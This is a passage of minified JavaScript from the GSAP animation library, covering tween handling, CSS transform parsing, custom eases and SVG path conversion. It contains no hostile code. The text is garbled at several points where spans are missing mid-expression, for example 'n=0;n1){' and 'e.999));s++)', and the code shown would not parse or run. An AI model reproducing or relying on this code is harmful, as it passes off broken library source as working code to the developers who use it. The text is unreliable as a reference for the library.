r,i,o,s,a,u,l,h=this._targets,c=t?Ut(t):h,f=this._ptLookup,p=this._pt;if((!e||"all"===e)&&function(t,e){for(var n=t.length,r=n===e.length;r&&n--&&t[n]===e[n];);return n<0}(h,c))return"all"===e&&(this._pt=0),re(this);for(r=this._op=this._op||[],"all"!==e&&(T(e)&&(a={},ut(e,(function(t){return a[t]=1})),e=a),e=function(t,e){var n,r,i,o,s=t[0]?st(t[0]).harness:0,a=s&&s.aliases;if(!a)return e;for(r in n=mt({},e),a)if(r in n)for(i=(o=a[r].split(",")).length;i--;)n[o[i]]=n[r];return n}(h,e)),l=h.length;l--;)if(~c.indexOf(h[l]))for(a in i=f[l],"all"===e?(r[l]=e,s=i,o={}):(o=r[l]=r[l]||{},s=e),s)(u=i&&i[a])&&("kill"in u.d&&!0!==u.d.kill(a)||xt(this,u,"_pt"),delete i[a]),"all"!==o&&(o[a]=1);return this._initted&&!this._pt&&p&&re(this),this},e.to=function(t,n){return new e(t,n,arguments[2])},e.from=function(t,e){return Yt(1,arguments)},e.delayedCall=function(t,n,r,i){return new e(n,0,{immediateRender:!1,lazy:!1,overwrite:!1,delay:t,onComplete:n,onReverseComplete:n,onCompleteParams:r,onReverseCompleteParams:r,callbackScope:i})},e.fromTo=function(t,e,n){return Yt(2,arguments)},e.set=function(t,n){return n.duration=0,n.repeatDelay||(n.repeat=0),new e(t,n)},e.killTweensOf=function(t,e,n){return s.killTweensOf(t,e,n)},e}(Te);Dt(Xe.prototype,{_targets:[],_lazy:0,_startAt:0,_op:0,_onInit:0}),ut("staggerTo,staggerFrom,staggerFromTo",(function(t){Xe[t]=function(){var e=new Me,n=Wt.call(arguments,0);return n.splice("staggerFromTo"===t?5:4,0,0),e[t].apply(e,n)}}));var Ye=function(t,e,n){return t[e]=n},Ie=function(t,e,n){return t[e](n)},ze=function(t,e,n,r){return t[e](r.fp,n)},He=function(t,e,n){return t.setAttribute(e,n)},We=function(t,e){return M(t[e])?Ie:P(t[e])&&t.setAttribute?He:Ye},Ve=function(t,e){return e.set(e.t,e.p,Math.round(1e6*(e.s+e.c*t))/1e6,e)},je=function(t,e){return e.set(e.t,e.p,!!(e.s+e.c*t),e)},Ue=function(t,e){var n=e._pt,r="";if(!t&&e.b)r=e.b;else if(1===t&&e.e)r=e.e;else{for(;n;)r=n.p+(n.m?n.m(n.s+n.c*t):Math.round(1e4*(n.s+n.c*t))/1e4)+r,n=n._next;r+=e.c}e.set(e.t,e.p,r,e)},qe=function(t,e){for(var n=e._pt;n;)n.r(t,n.d),n=n._next},Ge=function(t,e,n,r){for(var i,o=this._pt;o;)i=o._next,o.p===r&&o.modifier(t,e,n),o=i},Ke=function(t){for(var e,n,r=this._pt;r;)n=r._next,r.p===t&&!r.op||r.op===t?xt(this,r,"_pt"):r.dep||(e=1),r=n;return!e},Qe=function(t,e,n,r){r.mSet(t,e,r.m.call(r.tween,n,r.mt),r)},Ze=function(t){for(var e,n,r,i,o=t._pt;o;){for(e=o._next,n=r;n&&n.pr>o.pr;)n=n._next;(o._prev=n?n._prev:i)?o._prev._next=o:r=o,(o._next=n)?n._prev=o:i=o,o=e}t._pt=r},$e=function(){function t(t,e,n,r,i,o,s,a,u){this.t=e,this.s=r,this.c=i,this.p=n,this.r=o||Ve,this.d=s||this,this.set=a||Ye,this.pr=u||0,this._next=t,t&&(t._prev=this)}return t.prototype.modifier=function(t,e,n){this.mSet=this.mSet||this.set,this.set=Qe,this.m=t,this.mt=n,this.tween=e},t}();ut(it+"parent,duration,ease,delay,overwrite,runBackwards,startAt,yoyo,immediateRender,repeat,repeatDelay,data,paused,reversed,lazy,callbackScope,stringFilter,id,yoyoEase,stagger,inherit,repeatRefresh,keyframes,autoRevert,scrollTrigger",(function(t){return Z[t]=1})),V.TweenMax=V.TweenLite=Xe,V.TimelineLite=V.TimelineMax=Me,s=new Me({sortChildren:!1,defaults:_,autoRemoveChildren:!0,id:"root",smoothChildTiming:!0}),v.stringFilter=fe;var Je={registerPlugin:function(){for(var t=arguments.length,e=new Array(t),n=0;n1){var r=t.map((function(t){return nn.quickSetter(t,e,n)})),i=r.length;return function(t){for(var e=i;e--;)r[e](t)}}t=t[0]||{};var o=tt[e],s=st(t),a=s.harness&&(s.harness.aliases||{})[e]||e,u=o?function(e){var r=new o;f._pt=0,r.init(t,n?e+n:e,f,0,[t]),r.render(1,r),f._pt&&qe(1,f)}:s.set(t,a);return o?u:function(e){return u(t,a,n?e+n:e,s,1)}},isTweening:function(t){return s.getTweensOf(t,!0).length>0},defaults:function(t){return t&&t.ease&&(t.ease=xe(t.ease,_.ease)),vt(_,t||{})},config:function(t){return vt(v,t||{})},registerEffect:function(t){var e=t.name,n=t.effect,r=t.plugins,i=t.defaults,o=t.extendTimeline;(r||"").split(",").forEach((function(t){return t&&!tt[t]&&!V[t]&&G(e+" effect requires "+t+" plugin.")})),et[e]=function(t,e,r){return n(Ut(t),Dt(e||{},i),r)},o&&(Me.prototype[e]=function(t,n,r){return this.add(et[e](t,S(n)?n:(r=n)&&{},this),r)})},registerEase:function(t,e){ge[t]=xe(e)},parseEase:function(t,e){return arguments.length?xe(t,e):ge},getById:function(t){return s.getById(t)},exportRoot:function(t,e){void 0===t&&(t={});var n,r,i=new Me(t);for(i.smoothChildTiming=O(t.smoothChildTiming),s.remove(i),i._dp=0,i._time=i._tTime=s._time,n=s._first;n;)r=n._next,!e&&!n._dur&&n instanceof Xe&&n.vars.onComplete===n._targets[0]||St(i,n,n._start-n._delay),n=r;return St(s,i,0),i},utils:{wrap:function t(e,n,r){var i=n-e;return N(e)?$t(e,t(0,e.length),n):It(r,(function(t){return(i+(t-e)%i)%i+e}))},wrapYoyo:function t(e,n,r){var i=n-e,o=2*i;return N(e)?$t(e,t(0,e.length-1),n):It(r,(function(t){return e+((t=(o+(t-e)%o)%o||0)>i?o-t:t)}))},distribute:Gt,random:Zt,snap:Qt,normalize:function(t,e,n){return te(t,e,0,1,n)},getUnit:Ht,clamp:function(t,e,n){return It(n,(function(n){return zt(t,e,n)}))},splitColor:ae,toArray:Ut,selector:function(t){return t=Ut(t)[0]||G("Invalid scope")||{},function(e){var n=t.current||t.nativeElement||t;return Ut(e,n.querySelectorAll?n:n===t?G("Invalid scope")||l.createElement("div"):t)}},mapRange:te,pipe:function(){for(var t=arguments.length,e=new Array(t),n=0;n=0?Ln[i]:"")+t},Rn=function(){"undefined"!=typeof window&&window.document&&(rn=window,on=rn.document,sn=on.documentElement,un=kn("div")||{style:{}},kn("div"),Sn=Nn(Sn),On=Sn+"Origin",un.style.cssText="border-width:0;line-height:0;position:absolute;padding:0",hn=!!Nn("perspective"),an=1)},Xn=function t(e){var n,r=kn("svg",this.ownerSVGElement&&this.ownerSVGElement.getAttribute("xmlns")||"http://www.w3.org/2000/svg"),i=this.parentNode,o=this.nextSibling,s=this.style.cssText;if(sn.appendChild(r),r.appendChild(this),this.style.display="block",e)try{n=this.getBBox(),this._gsapBBox=this.getBBox,this.getBBox=t}catch(t){}else this._gsapBBox&&(n=this._gsapBBox());return i&&(o?i.insertBefore(this,o):i.appendChild(this)),sn.removeChild(r),this.style.cssText=s,n},Yn=function(t,e){for(var n=e.length;n--;)if(t.hasAttribute(e[n]))return t.getAttribute(e[n])},In=function(t){var e;try{e=t.getBBox()}catch(n){e=Xn.call(t,!0)}return e&&(e.width||e.height)||t.getBBox===Xn||(e=Xn.call(t,!0)),!e||e.width||e.x||e.y?e:{x:+Yn(t,["x","cx","x1"])||0,y:+Yn(t,["y","cy","y1"])||0,width:0,height:0}},zn=function(t){return!(!t.getCTM||t.parentNode&&!t.ownerSVGElement||!In(t))},Hn=function(t,e){if(e){var n=t.style;e in cn&&e!==On&&(e=Sn),n.removeProperty?("ms"!==e.substr(0,2)&&"webkit"!==e.substr(0,6)||(e="-"+e),n.removeProperty(e.replace(gn,"-$1").toLowerCase())):n.removeAttribute(e)}},Wn=function(t,e,n,r,i,o){var s=new $e(t._pt,e,n,0,1,o?Fn:Cn);return t._pt=s,s.b=r,s.e=i,t._props.push(n),s},Vn={deg:1,rad:1,turn:1},jn=function t(e,n,r,i){var o,s,a,u,l=parseFloat(r)||0,h=(r+"").trim().substr((l+"").length)||"px",c=un.style,f=Dn.test(n),p="svg"===e.tagName.toLowerCase(),d=(p?"client":"offset")+(f?"Width":"Height"),g="px"===i,D="%"===i;return i===h||!l||Vn[i]||Vn[h]?l:("px"!==h&&!g&&(l=t(e,n,r,"px")),u=e.getCTM&&zn(e),!D&&"%"!==h||!cn[n]&&!~n.indexOf("adius")?(c[f?"width":"height"]=100+(g?h:i),s=~n.indexOf("adius")||"em"===i&&e.appendChild&&!p?e:e.parentNode,u&&(s=(e.ownerSVGElement||{}).parentNode),s&&s!==on&&s.appendChild||(s=on.body),(a=s._gsap)&&D&&a.width&&f&&a.time===pe.time?lt(l/a.width*100):((D||"%"===h)&&(c.position=Bn(e,"position")),s===e&&(c.position="static"),s.appendChild(un),o=un[d],s.removeChild(un),c.position="absolute",f&&D&&((a=st(s)).time=pe.time,a.width=s[d]),lt(g?o*l/100:o&&l?100/o*l:0))):(o=u?e.getBBox()[f?"width":"height"]:e[d],lt(D?l/o*100:l/100*o)))},Un=function(t,e,n,r){var i;return an||Rn(),e in vn&&"transform"!==e&&~(e=vn[e]).indexOf(",")&&(e=e.split(",")[0]),cn[e]&&"transform"!==e?(i=rr(t,r),i="transformOrigin"!==e?i[e]:i.svg?i.origin:ir(Bn(t,On))+" "+i.zOrigin+"px"):(!(i=t.style[e])||"auto"===i||r||~(i+"").indexOf("calc("))&&(i=Qn[e]&&Qn[e](t,e,n)||Bn(t,e)||at(t,e)||("opacity"===e?1:0)),n&&!~(i+"").trim().indexOf(" ")?jn(t,e,i,n)+n:i},qn=function(t,e,n,r){if(!n||"none"===n){var i=Nn(e,t,1),o=i&&Bn(t,i,1);o&&o!==n?(e=i,n=o):"borderColor"===e&&(n=Bn(t,"borderTopColor"))}var s,a,u,l,h,c,f,p,d,g,D,m,_=new $e(this._pt,t.style,e,0,1,Ue),y=0,x=0;if(_.b=n,_.e=r,n+="","auto"===(r+="")&&(t.style[e]=r,r=Bn(t,e)||r,t.style[e]=n),fe(s=[n,r]),r=s[1],u=(n=s[0]).match(Y)||[],(r.match(Y)||[]).length){for(;a=Y.exec(r);)f=a[0],d=r.substring(y,a.index),h?h=(h+1)%5:"rgba("!==d.substr(-5)&&"hsla("!==d.substr(-5)||(h=1),f!==(c=u[x++]||"")&&(l=parseFloat(c)||0,D=c.substr((l+"").length),(m="="===f.charAt(1)?+(f.charAt(0)+"1"):0)&&(f=f.substr(2)),p=parseFloat(f),g=f.substr((p+"").length),y=Y.lastIndex-g.length,g||(g=g||v.units[e]||D,y===r.length&&(r+=g,_.e+=g)),D!==g&&(l=jn(t,e,c,g)||0),_._pt={_next:_._pt,p:d||1===x?d:",",s:l,c:m?m*p:p-l,m:h&&h<4||"zIndex"===e?Math.round:0});_.c=y-1;)n=a[i],cn[n]&&(r=1,n="transformOrigin"===n?On:Sn),Hn(o,n);r&&(Hn(o,Sn),u&&(u.svg&&o.removeAttribute("transform"),rr(o,1),u.uncache=1))}},Qn={clearProps:function(t,e,n,r,i){if("isFromStart"!==i.data){var o=t._pt=new $e(t._pt,e,n,0,0,Kn);return o.u=r,o.pr=-10,o.tween=i,t._props.push(n),1}}},Zn=[1,0,0,1,0,0],$n={},Jn=function(t){return"matrix(1, 0, 0, 1, 0, 0)"===t||"none"===t||!t},tr=function(t){var e=Bn(t,Sn);return Jn(e)?Zn:e.substr(7).match(X).map(lt)},er=function(t,e){var n,r,i,o,s=t._gsap||st(t),a=t.style,u=tr(t);return s.svg&&t.getAttribute("transform")?"1,0,0,1,0,0"===(u=[(i=t.transform.baseVal.consolidate().matrix).a,i.b,i.c,i.d,i.e,i.f]).join(",")?Zn:u:(u!==Zn||t.offsetParent||t===sn||s.svg||(i=a.display,a.display="block",(n=t.parentNode)&&t.offsetParent||(o=1,r=t.nextSibling,sn.appendChild(t)),u=tr(t),i?a.display=i:Hn(t,"display"),o&&(r?n.insertBefore(t,r):n?n.appendChild(t):sn.removeChild(t))),e&&u.length>6?[u[0],u[1],u[4],u[5],u[12],u[13]]:u)},nr=function(t,e,n,r,i,o){var s,a,u,l=t._gsap,h=i||er(t,!0),c=l.xOrigin||0,f=l.yOrigin||0,p=l.xOffset||0,d=l.yOffset||0,g=h[0],D=h[1],m=h[2],v=h[3],_=h[4],y=h[5],x=e.split(" "),w=parseFloat(x[0])||0,C=parseFloat(x[1])||0;n?h!==Zn&&(a=g*v-D*m)&&(u=w*(-D/a)+C*(g/a)-(g*y-D*_)/a,w=w*(v/a)+C*(-m/a)+(m*y-v*_)/a,C=u):(w=(s=In(t)).x+(~x[0].indexOf("%")?w/100*s.width:w),C=s.y+(~(x[1]||x[0]).indexOf("%")?C/100*s.height:C)),r||!1!==r&&l.smooth?(_=w-c,y=C-f,l.xOffset=p+(_*g+y*m)-_,l.yOffset=d+(_*D+y*v)-y):l.xOffset=l.yOffset=0,l.xOrigin=w,l.yOrigin=C,l.smooth=!!r,l.origin=e,l.originIsAbsolute=!!n,t.style[On]="0px 0px",o&&(Wn(o,l,"xOrigin",c,w),Wn(o,l,"yOrigin",f,C),Wn(o,l,"xOffset",p,l.xOffset),Wn(o,l,"yOffset",d,l.yOffset)),t.setAttribute("data-svg-origin",w+" "+C)},rr=function(t,e){var n=t._gsap||new be(t);if("x"in n&&!e&&!n.uncache)return n;var r,i,o,s,a,u,l,h,c,f,p,d,g,D,m,_,y,x,w,C,F,E,b,T,M,A,P,S,O,k,B,L,N=t.style,R=n.scaleX<0,X=Bn(t,On)||"0";return r=i=o=u=l=h=c=f=p=0,s=a=1,n.svg=!(!t.getCTM||!zn(t)),D=er(t,n.svg),n.svg&&(T=(!n.uncache||"0px 0px"===X)&&!e&&t.getAttribute("data-svg-origin"),nr(t,T||X,!!T||n.originIsAbsolute,!1!==n.smooth,D)),d=n.xOrigin||0,g=n.yOrigin||0,D!==Zn&&(x=D[0],w=D[1],C=D[2],F=D[3],r=E=D[4],i=b=D[5],6===D.length?(s=Math.sqrt(x*x+w*w),a=Math.sqrt(F*F+C*C),u=x||w?dn(w,x)*fn:0,(c=C||F?dn(C,F)*fn+u:0)&&(a*=Math.abs(Math.cos(c*pn))),n.svg&&(r-=d-(d*x+g*C),i-=g-(d*w+g*F))):(L=D[6],k=D[7],P=D[8],S=D[9],O=D[10],B=D[11],r=D[12],i=D[13],o=D[14],l=(m=dn(L,O))*fn,m&&(T=E*(_=Math.cos(-m))+P*(y=Math.sin(-m)),M=b*_+S*y,A=L*_+O*y,P=E*-y+P*_,S=b*-y+S*_,O=L*-y+O*_,B=k*-y+B*_,E=T,b=M,L=A),h=(m=dn(-C,O))*fn,m&&(_=Math.cos(-m),B=F*(y=Math.sin(-m))+B*_,x=T=x*_-P*y,w=M=w*_-S*y,C=A=C*_-O*y),u=(m=dn(w,x))*fn,m&&(T=x*(_=Math.cos(m))+w*(y=Math.sin(m)),M=E*_+b*y,w=w*_-x*y,b=b*_-E*y,x=T,E=M),l&&Math.abs(l)+Math.abs(u)>359.9&&(l=u=0,h=180-h),s=lt(Math.sqrt(x*x+w*w+C*C)),a=lt(Math.sqrt(b*b+L*L)),m=dn(E,b),c=Math.abs(m)>2e-4?m*fn:0,p=B?1/(B<0?-B:B):0),n.svg&&(T=t.getAttribute("transform"),n.forceCSS=t.setAttribute("transform","")||!Jn(Bn(t,Sn)),T&&t.setAttribute("transform",T))),Math.abs(c)>90&&Math.abs(c)<270&&(R?(s*=-1,c+=u<=0?180:-180,u+=u<=0?180:-180):(a*=-1,c+=c<=0?180:-180)),n.x=r-((n.xPercent=r&&(n.xPercent||(Math.round(t.offsetWidth/2)===Math.round(-r)?-50:0)))?t.offsetWidth*n.xPercent/100:0)+"px",n.y=i-((n.yPercent=i&&(n.yPercent||(Math.round(t.offsetHeight/2)===Math.round(-i)?-50:0)))?t.offsetHeight*n.yPercent/100:0)+"px",n.z=o+"px",n.scaleX=lt(s),n.scaleY=lt(a),n.rotation=lt(u)+"deg",n.rotationX=lt(l)+"deg",n.rotationY=lt(h)+"deg",n.skewX=c+"deg",n.skewY=f+"deg",n.transformPerspective=p+"px",(n.zOrigin=parseFloat(X.split(" ")[2])||0)&&(N[On]=ir(X)),n.xOffset=n.yOffset=0,n.force3D=v.force3D,n.renderTransform=n.svg?ur:hn?ar:sr,n.uncache=0,n},ir=function(t){return(t=t.split(" "))[0]+" "+t[1]},or=function(t,e,n){var r=Ht(e);return lt(parseFloat(e)+parseFloat(jn(t,"x",n+"px",r)))+r},sr=function(t,e){e.z="0px",e.rotationY=e.rotationX="0deg",e.force3D=0,ar(t,e)},ar=function(t,e){var n=e||this,r=n.xPercent,i=n.yPercent,o=n.x,s=n.y,a=n.z,u=n.rotation,l=n.rotationY,h=n.rotationX,c=n.skewX,f=n.skewY,p=n.scaleX,d=n.scaleY,g=n.transformPerspective,D=n.force3D,m=n.target,v=n.zOrigin,_="",y="auto"===D&&t&&1!==t||!0===D;if(v&&("0deg"!==h||"0deg"!==l)){var x,w=parseFloat(l)*pn,C=Math.sin(w),F=Math.cos(w);w=parseFloat(h)*pn,x=Math.cos(w),o=or(m,o,C*x*-v),s=or(m,s,-Math.sin(w)*-v),a=or(m,a,F*x*-v+v)}"0px"!==g&&(_+="perspective("+g+") "),(r||i)&&(_+="translate("+r+"%, "+i+"%) "),(y||"0px"!==o||"0px"!==s||"0px"!==a)&&(_+="0px"!==a||y?"translate3d("+o+", "+s+", "+a+") ":"translate("+o+", "+s+") "),"0deg"!==u&&(_+="rotate("+u+") "),"0deg"!==l&&(_+="rotateY("+l+") "),"0deg"!==h&&(_+="rotateX("+h+") "),"0deg"===c&&"0deg"===f||(_+="skew("+c+", "+f+") "),1===p&&1===d||(_+="scale("+p+", "+d+") "),m.style[Sn]=_||"translate(0, 0)"},ur=function(t,e){var n,r,i,o,s,a=e||this,u=a.xPercent,l=a.yPercent,h=a.x,c=a.y,f=a.rotation,p=a.skewX,d=a.skewY,g=a.scaleX,D=a.scaleY,m=a.target,v=a.xOrigin,_=a.yOrigin,y=a.xOffset,x=a.yOffset,w=a.forceCSS,C=parseFloat(h),F=parseFloat(c);f=parseFloat(f),p=parseFloat(p),(d=parseFloat(d))&&(p+=d=parseFloat(d),f+=d),f||p?(f*=pn,p*=pn,n=Math.cos(f)*g,r=Math.sin(f)*g,i=Math.sin(f-p)*-D,o=Math.cos(f-p)*D,p&&(d*=pn,s=Math.tan(p-d),i*=s=Math.sqrt(1+s*s),o*=s,d&&(s=Math.tan(d),n*=s=Math.sqrt(1+s*s),r*=s)),n=lt(n),r=lt(r),i=lt(i),o=lt(o)):(n=g,o=D,r=i=0),(C&&!~(h+"").indexOf("px")||F&&!~(c+"").indexOf("px"))&&(C=jn(m,"x",h,"px"),F=jn(m,"y",c,"px")),(v||_||y||x)&&(C=lt(C+v-(v*n+_*i)+y),F=lt(F+_-(v*r+_*o)+x)),(u||l)&&(s=m.getBBox(),C=lt(C+u/100*s.width),F=lt(F+l/100*s.height)),s="matrix("+n+","+r+","+i+","+o+","+C+","+F+")",m.setAttribute("transform",s),w&&(m.style[Sn]=s)},lr=function(t,e,n,r,i,o){var s,a,u=T(i),l=parseFloat(i)*(u&&~i.indexOf("rad")?fn:1),h=o?l*o:l-r,c=r+h+"deg";return u&&("short"===(s=i.split("_")[1])&&(h%=360)!==h%180&&(h+=h<0?360:-360),"cw"===s&&h<0?h=(h+36e9)%360-360*~~(h/360):"ccw"===s&&h>0&&(h=(h-36e9)%360-360*~~(h/360))),t._pt=a=new $e(t._pt,e,n,r,h,yn),a.e=c,a.u="deg",t._props.push(n),a},hr=function(t,e){for(var n in e)t[n]=e[n];return t},cr=function(t,e,n){var r,i,o,s,a,u,l,h=hr({},n._gsap),c=n.style;for(i in h.svg?(o=n.getAttribute("transform"),n.setAttribute("transform",""),c[Sn]=e,r=rr(n,1),Hn(n,Sn),n.setAttribute("transform",o)):(o=getComputedStyle(n)[Sn],c[Sn]=e,r=rr(n,1),c[Sn]=o),cn)(o=h[i])!==(s=r[i])&&"perspective,force3D,transformOrigin,svgOrigin".indexOf(i)<0&&(a=Ht(o)!==(l=Ht(s))?jn(n,i,o,l):parseFloat(o),u=parseFloat(s),t._pt=new $e(t._pt,r,i,a,u-a,_n),t._pt.u=l||0,t._props.push(i));hr(r,h)};ut("padding,margin,Width,Radius",(function(t,e){var n="Top",r="Right",i="Bottom",o="Left",s=(e<3?[n,r,i,o]:[n+o,n+r,i+r,i+o]).map((function(n){return e<2?t+n:"border"+n+t}));Qn[e>1?"border"+t:t]=function(t,e,n,r,i){var o,a;if(arguments.length<4)return o=s.map((function(e){return Un(t,e,n)})),5===(a=o.join(" ")).split(o[0]).length?o[0]:a;o=(r+"").split(" "),a={},s.forEach((function(t,e){return a[t]=o[e]=o[e]||o[(e-1)/2|0]})),t.init(e,a,i)}}));var fr,pr,dr={name:"css",register:Rn,targetTest:function(t){return t.style&&t.nodeType},init:function(t,e,n,r,i){var o,s,a,u,l,h,c,f,p,d,g,D,m,_,y,x,w,C,F,E=this._props,b=t.style,M=n.vars.startAt;for(c in an||Rn(),e)if("autoRound"!==c&&(s=e[c],!tt[c]||!Oe(c,e,n,r,t,i)))if(l=typeof s,h=Qn[c],"function"===l&&(l=typeof(s=s.call(n,r,t,i))),"string"===l&&~s.indexOf("random(")&&(s=Jt(s)),h)h(this,t,c,s,n)&&(y=1);else if("--"===c.substr(0,2))o=(getComputedStyle(t).getPropertyValue(c)+"").trim(),s+="",he.lastIndex=0,he.test(o)||(f=Ht(o),p=Ht(s)),p?f!==p&&(o=jn(t,c,o,p)+p):f&&(s+=f),this.add(b,"setProperty",o,s,r,i,0,0,c),E.push(c);else if("undefined"!==l){if(M&&c in M?(o="function"==typeof M[c]?M[c].call(n,r,t,i):M[c],T(o)&&~o.indexOf("random(")&&(o=Jt(o)),Ht(o+"")||(o+=v.units[c]||Ht(Un(t,c))||""),"="===(o+"").charAt(1)&&(o=Un(t,c))):o=Un(t,c),u=parseFloat(o),(d="string"===l&&"="===s.charAt(1)?+(s.charAt(0)+"1"):0)&&(s=s.substr(2)),a=parseFloat(s),c in vn&&("autoAlpha"===c&&(1===u&&"hidden"===Un(t,"visibility")&&a&&(u=0),Wn(this,b,"visibility",u?"inherit":"hidden",a?"inherit":"hidden",!a)),"scale"!==c&&"transform"!==c&&~(c=vn[c]).indexOf(",")&&(c=c.split(",")[0])),g=c in cn)if(D||((m=t._gsap).renderTransform&&!e.parseTransform||rr(t,e.parseTransform),_=!1!==e.smoothOrigin&&m.smooth,(D=this._pt=new $e(this._pt,b,Sn,0,1,m.renderTransform,m,0,-1)).dep=1),"scale"===c)this._pt=new $e(this._pt,m,"scaleY",m.scaleY,(d?d*a:a-m.scaleY)||0),E.push("scaleY",c),c+="X";else{if("transformOrigin"===c){w=void 0,C=void 0,F=void 0,w=(x=s).split(" "),C=w[0],F=w[1]||"50%","top"!==C&&"bottom"!==C&&"left"!==F&&"right"!==F||(x=C,C=F,F=x),w[0]=Gn[C]||C,w[1]=Gn[F]||F,s=w.join(" "),m.svg?nr(t,s,0,_,0,this):((p=parseFloat(s.split(" ")[2])||0)!==m.zOrigin&&Wn(this,m,"zOrigin",m.zOrigin,p),Wn(this,b,c,ir(o),ir(s)));continue}if("svgOrigin"===c){nr(t,s,1,_,0,this);continue}if(c in $n){lr(this,m,c,u,s,d);continue}if("smoothOrigin"===c){Wn(this,m,"smooth",m.smooth,s);continue}if("force3D"===c){m[c]=s;continue}if("transform"===c){cr(this,s,t);continue}}else c in b||(c=Nn(c)||c);if(g||(a||0===a)&&(u||0===u)&&!mn.test(s)&&c in b)a||(a=0),(f=(o+"").substr((u+"").length))!==(p=Ht(s)||(c in v.units?v.units[c]:f))&&(u=jn(t,c,o,p)),this._pt=new $e(this._pt,g?m:b,c,u,d?d*a:a-u,g||"px"!==p&&"zIndex"!==c||!1===e.autoRound?_n:wn),this._pt.u=p||0,f!==p&&"%"!==p&&(this._pt.b=o,this._pt.r=xn);else if(c in b)qn.call(this,t,c,o,s);else{if(!(c in t)){q(c,s);continue}this.add(t,c,o||t[c],s,r,i)}E.push(c)}y&&Ze(this)},get:Un,aliases:vn,getSetter:function(t,e,n){var r=vn[e];return r&&r.indexOf(",")<0&&(e=r),e in cn&&e!==On&&(t._gsap.x||Un(t,"x"))?n&&ln===n?"scale"===e?Mn:Tn:(ln=n||{})&&("scale"===e?An:Pn):t.style&&!P(t.style[e])?En:~e.indexOf("-")?bn:We(t,e)},core:{_removeProperty:Hn,_getMatrix:er}};nn.utils.checkPrefix=Nn,pr=ut("x,y,z,scale,scaleX,scaleY,xPercent,yPercent,"+(fr="rotation,rotationX,rotationY,skewX,skewY")+",transform,transformOrigin,svgOrigin,force3D,smoothOrigin,transformPerspective",(function(t){cn[t]=1})),ut(fr,(function(t){v.units[t]="deg",$n[t]=1})),vn[pr[13]]="x,y,z,scale,scaleX,scaleY,xPercent,yPercent,"+fr,ut("0:translateX,1:translateY,2:translateZ,8:rotate,8:rotationZ,8:rotateZ,9:rotateX,10:rotateY",(function(t){var e=t.split(":");vn[e[1]]=pr[e[0]]})),ut("x,y,z,top,right,bottom,left,width,height,fontSize,padding,margin,perspective",(function(t){v.units[t]="px"})),nn.registerPlugin(dr);var gr,Dr,mr,vr=nn.registerPlugin(dr)||nn,_r=vr.core.Tween,yr=function(){return gr||"undefined"!=typeof window&&(gr=window.gsap)&&gr.registerPlugin&&gr},xr=function(t){gr=yr(),(mr=gr&&gr.parseEase("_CE"))?(Dr=1,gr.parseEase("bounce").config=function(t){return"object"==typeof t?Cr("",t):Cr("bounce("+t+")",{strength:+t})}):t&&console.warn("Please gsap.registerPlugin(CustomEase, CustomBounce)")},wr=function(t){var e,n=t.length,r=1/t[n-2];for(e=2;e.999));s++);if(e.endAtStart&&"false"!==e.endAtStart){if(i=-.1,m.unshift(i,1,i,1,-.07,0),f)for(i-=c=2.5*f,m.unshift(i,1,i,1,i,1),v.splice(0,6),v.unshift(i,0,i,0,i,1,i+c/2,1,i+c,1,i+c,0,i+c,0,i+c,-.6,i+c+.033,0),s=0;se)for(;--i&&t[i]>e;);else for(;t[++i] element or an SVG path data string")}function Gr(t){var e,n=0;for(t.reverse();n-1;)n=i[o].nodeName.toLowerCase(),e.indexOf(","+n+",")<0&&r.setAttributeNS(null,n,i[o].nodeValue);return r}(t,"x,y,width,height,cx,cy,rx,ry,r,x1,x2,y1,y2,points"),C=function(t,e){for(var n=e?e.split(","):[],r={},i=n.length;--i>-1;)r[n[i]]=+t.getAttribute(n[i])||0;return r}(t,Kr[F]),"rect"===F?(o=C.rx,s=C.ry||o,r=C.x,i=C.y,c=C.width-2*o,f=C.height-2*s,n=o||s?"M"+(m=(g=(d=r+o)+c)+o)+","+(_=i+s)+" V"+(y=_+f)+" C"+[m,x=y+s*E,D=g+o*E,w=y+s,g,w,g-(g-d)/3,w,d+(g-d)/3,w,d,w,p=r+o*(1-E),w,r,x,r,y,r,y-(y-_)/3,r,_+(y-_)/3,r,_,r,v=i+s*(1-E),p,i,d,i,d+(g-d)/3,i,g-(g-d)/3,i,g,i,D,i,m,v,m,_].join(",")+"z":"M"+(r+c)+","+i+" v"+f+" h"+-c+" v"+-f+" h"+c+"z"):"circle"===F||"ellipse"===F?("circle"===F?l=(o=s=C.r)*E:(o=C.rx,l=(s=C.ry)*E),n="M"+((r=C.cx)+o)+","+(i=C.cy)+" C"+[r+o,i+l,r+(u=o*E),i+s,r,i+s,r-u,i+s,r-o,i+l,r-o,i,r-o,i-l,r-u,i-s,r,i-s,r+u,i-s,r+o,i-l,r+o,i].join(",")+"z"):"line"===F?n="M"+C.x1+","+C.y1+" L"+C.x2+","+C.y2:"polyline"!==F&&"polygon"!==F||(n="M"+(r=(h=(t.getAttribute("points")+"").match(br)||[]).shift())+","+(i=h.shift())+" L"+h.join(","),"polygon"===F&&(n+=","+r+","+i+"z")),a.setAttribute("d",li(a._gsRawPath=si(n))),e&&t.parentNode&&(t.parentNode.insertBefore(a,t),t.parentNode.removeChild(t)),a):t}function Zr(t,e,n){var r,i=t[e],o=t[e+2],s=t[e+4];return i+=(o-i)*n,i+=((o+=(s-o)*n)-i)*n,r=o+(s+(t[e+6]-s)*n-o)*n-i,i=t[e+1],i+=((o=t[e+3])-i)*n,i+=((o+=((s=t[e+5])-o)*n)-i)*n,zr(Lr(o+(s+(t[e+7]-s)*n-o)*n-i,r)*Pr)}function $r(t,e,n){n=void 0===n?1:Hr(n)||0,e=Hr(e)||0;var r=Math.max(0,~~(kr(n-e)-1e-8)),i=function(t){for(var e=[],n=0;nn&&(e=1-e,n=1-n,function(t,e){var n=t.length;for(e||t.reverse();n--;)t[n].reversed||Gr(t[n])}(i),i.totalLength=0),e<0||n<0){var o=Math.abs(~~Math.min(e,n))+1;e+=o,n+=o}i.totalLength||ti(i);var s,a,u,l,h,c,f,p,d=n>1,g=ni(i,e,Xr,!0),D=ni(i,n,Yr),m=D.segment,v=g.segment,_=D.segIndex,y=g.segIndex,x=D.i,w=g.i,C=y===_,F=x===w&&C;if(d||r){for(s=__)&&i.splice(l,1);else m.angle=Zr(m,x+u,0),g=m[x+=u],D=m[x+1],m.length=m.totalLength=0,m.totalPoints=i.totalPoints=8,m.push(g,D,g,D,g,D,g,D);return i.totalLength=0,i}function Jr(t,e,n){e=e||0,t.samples||(t.samples=[],t.lookup=[]);var 